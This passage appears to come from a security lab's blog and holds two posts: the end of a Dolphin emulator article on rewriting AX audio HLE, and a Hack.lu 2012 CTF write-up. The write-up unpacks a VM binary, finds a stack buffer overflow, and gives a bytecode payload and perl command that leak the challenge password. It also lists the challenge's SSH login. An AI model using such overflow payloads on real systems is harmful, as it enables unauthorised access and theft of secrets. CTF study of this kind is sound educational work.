        //if (mixer_control > 1000 && x > mixer_control) x = mixer_control; // maybe mixer_control also
                // has a volume target?
        //if (x >= 0x7fff) x = 0x7fff; // this seems a little high
        //if (x >= 0x4e20) x = 0x4e20; // add a definitive limit at 20 000
        if (x >= 0x8000) x = 0x8000; // clamp to 32768;
        return x; // update volume
}

I don't even know how this code evolved to become what it is displayed here, I just know that it is not a good way to implement AX HLE. Also, some of the design choices in the previous implementation just couldn't allow for accurate HLE.

The first issue is that the audio emulation pipeline was simply not correct: the AI was completely bypassed, and sound went directly from the DSP to the emulated audio mixer, without being copied to RAM at any time. This "kind of" works but completely breaks CPU audio effects... which aren't emulated anyway.

Figure 4: Audio emulation pipeline in the previous AX HLE implementation

But the biggest issue is the timing on which AX HLE was working. On real hardware, the DSP runs on its own clock. At some point the CPU sends commands to it, it processes all of these commands as fast as possible, and sends a message back to the CPU when it's done. The CPU copies the processed data, then when it needs more data (in most cases, 5ms later) it sends new commands to the DSP. In the previous AX HLE implementation, none of that was right. What the emulated AX did was:

As soon as we get the command that specified the sounds that should be mixed, copy the sound data address somewhere.
Every 5ms send a message to the CPU saying that we processed the commands (even though no commands were processed)
When the audio backend (ALSA, XAudio, DirectSound) requires more data, AX HLE mixed the sound and returned audio data.

Basically, nothing was right in the timing. That implementation allows for some cool hacks (like having the audio running at full speed even though the game is not running at 100% speed), but it is inaccurate and bug-prone.

When trying to fix the "missing instruments" bug affecting the games I wanted to play, I noticed all these timing issues and thought about rewriting AX HLE (once again... I always wanted to rewrite AX HLE every time I looked at the code). The hack fix (re4d18e3a8b7c) that I found to compensate for the timing issues really did not satisfy me, and knowing more about AX HLE I noticed that rewriting it was actually not as hard as I thought it would be. After working for 24h streight on new-ax-hle, I finally got a first working version which had ok sounds and music in Tales of Symphonia.

The design in new-ax-hle is in my opinion a lot better than the design used in the previous AX HLE:

A DSP Thread is created when the UCode is loaded. This thread will be responsible for all the sound mixing work the DSP does.
When we get commands from the CPU, we copy the command list to a temporary buffer, and wake up the DSP Thread to tell him we have commands to process.
The DSP Thread handles the commands, sends a message to the CPU when it's done, and goes back to sleep.

It is basically the exact same model DSP LLE on Thread (another DSP configuration option in Dolphin) uses, with less synchronization (LLE tries to match the number of cycles executed on CPU and DSP, which causes some extra performance hit). This also kind of matches what happens on the real hardware, using 2 chips instead of 2 threads. However, this also means the audio processing speed is tied to the CPU speed: if the CPU cannot keep up, it won't send commands often enough and the audio backend won't receive enough data to avoid stuttering.

Figure 5: Comparison of processing timelines. On the left, previous implementation. On the right, new-ax-hle.

Another change, this time not exactly linked to overall design, is that the new-ax-hle now handles most AX commands instead of only the one specifying the first parameter block address like the old AX does. Some of these other commands are used to set up global volume ramping, send data back to the main RAM, mix additional data from the RAM, or output samples to the buffers used by the audio interface. This means new-ax-hle now follows the correct audio emulation pipeline: ARAM -> DSP -> RAM -> AI -> Output (instead of the pipeline used before: ARAM -> DSP -> Output). This also means some CPU sound effects like echo, reverb, etc. should work fine.

Figure 6: Audio emulation pipeline in the new AX HLE implementation

Overall, the more I fix bugs in new-ax-hle, the more I'm amazed the previous AX HLE could work so well. It is a pile of hacks, implementing only 2/19 AX commands (and one of these commands is not even implemented correctly), with a completely wrong timing, and some ugly code that makes no sense. I don't blame the previous authors of this code - at the time, documentation about the DSP was a lot sparser, and analyzing UCodes had to be done with a text editor because there was no awesome IDA plugin for the GC DSP.

Conclusion

At the time I'm writing this article, new-ax-hle works a lot better than the previous AX HLE in most Gamecube games, and only a few remaining bugs are known in GC games. The Wii AX code is a bit less mature and is more like a proof of concept: I haven't really worked a lot on it, and after one or two weeks of bug fixing it should also become pretty much perfect, including Wiimote audio emulation (which was only supported with LLE previously). I'm hoping this code will be merged for 4.0, and I'll most likely be working on Zelda UCode HLE next (which has a less ugly implementation but has the same design issues as AX).

Thanks to Pierre-Marie (pmderodat@lse) for his nice Inkscape-made pictures.

Hack.lu CTF 2012: Braingathering (500 points)

samuel@lse.epita.fr (Samuel Chevet) — Sat, 27 Oct 2012 13:00:00 GMT

We fought our way to the main server room. The zombies realized that they
run out of humans sooner or later, so they started to build machines to
create humans for them to eat. Those machines have a special code which is
only known to the zombies. This code is capable of destroying all
breeding-machines. Now, it's all up to you to get this code and tell us so
that we can destroy all machines.
SSH: ctf.fluxfingers.net PORT: 2097 USER: ctf PASS: opPsyuXs7aaxtop

credits: 500 +3 (1st), +2 (2nd), +1 (3rd)

Braingathering is an elf32 binary which asks for 3 choices:

1) Need Brainz brainz brainz, Zombie huuuungry!
2) How much longer till braaaiiiiinz?
3) Nooo more brainz! STOP THE BRAINZ!

The two first are not interesting, but the third asks us for a password and compares it with the content of the "killcode". If the password entered by the user is right, it prints us:

1	YEAH, now go and submit the killcode so that we can stop other systems as well

So we need to leak this password or to get a shell to print the content of the file "killcode".

Entry point of the binary is inside .plt section and has type NOBITS, if we try to open it in IDA, it will not show use the disassembly, so we must change section's type to PROGBITS and we can see a simple deciphering loop.

loc_8048BC1:                            ; CODE XREF: start+1Aj
                mov     eax, offset loc_8048500
                mov     ecx, 6A1h

loc_8048BCD:                            ; CODE XREF: start-Aj
                xor     byte ptr [eax], 8Ch
                inc     eax
                dec     ecx
                cmp     ecx, 0
                jg      short loc_8048BCD

The binary xors bytes from 0x8048500 to 0x8048ba1 with 0x8C, and jumps to 0x8048500, the real entry point. Fix is simple: write a simple C program to do the task for us. Now we can open it with IDA, and we can see a switch case with 246 entries, it's definitively a VM.

It's friday night, and I was bored, so I decided to write an IDA processor for this vm:

Now we just have to dump the vm from offset 0x2060 to 0x2847, and use this processor: "brain VM CPU: brain".

The first thing the vm does is decyphering his code with xor 0x7A7A from offset 0x50 to 0x1050. Again the solution is to write a simple C program to do the task for us.

Ok now we have the full code of the VM!

The only interesting sub is at offset 0x014E, we can call ask-for-password, it is the sub for the third choice.

The problem in this function is that a stack based buffer overflow can occur. It reserves 0x34 (52) bytes on the stack for the buffer, but reads on STDIN 0x36 (54), so we can overwrite the return address of this sub inside the VM.

1
2
3

0x187       MOV            R4, $8000
0x18A       MOV            R1, $10
0x18D       CALL           memcpy

The password will be copied to address 0x8000, and our buffer to 0x7000, to compare them in sub-function sub_00FC.

The opcode 0x3F is able to write a buffer to a file descriptor.

1	0x3F opcode, write(*PC, R4, strlen(R4));

So the idea is to put in R4 the adress of the password and execute this opcode. The opcode 0x49 is perfect for this task :

1	0x49 mov r4, [PC]

So the payload looks like this:

0x49 0x00 0x80  ;  mov r4, 0x8000
0x40 0x01       ;  write(STDOUT_FILENO, r4, strlen(R4));
0x53 0x0D 0x70  ;  Adresse return for sub_print_newline (buffer + 0xD) for
ending correctly exploit
0x53 0x03 0x01  ;  push 0x013E (@ of sub_print_newline)
0x58            ;  ret
"0xFF"*43       ;  END VM
0x00 0x70       ;  New Address to return (@buffer)

Result:

ctf@braingathering:~$ perl -e'print "3"x34 . "\x49\x00\x80" . "\x40\x01" . "\x53\x0d\x70" . "\x53\x3e\x01" . "\x58" . "\xFF"x40 . "\x00\x70"' > /tmp/payload
ctf@braingathering:~$ /home/ctf/braingathering < /tmp/payload
==[ZOMBIE BRAIN AQUIREMENT SYSTEM]==
Automated system for braingathering ready.

1) Need Brainz brainz brainz, Zombie huuuungry!
2) How much longer till braaaiiiiinz?
3) Nooo more brainz! STOP THE BRAINZ!

X) Nah, I'm going to get my brains somewhere else.

### Warning: Only for authorized zombies ###
Please enter teh z0mb13 k1llc0d3:
Comparing k1llc0d3
INVALID

OMG_VMAP0CALYPS3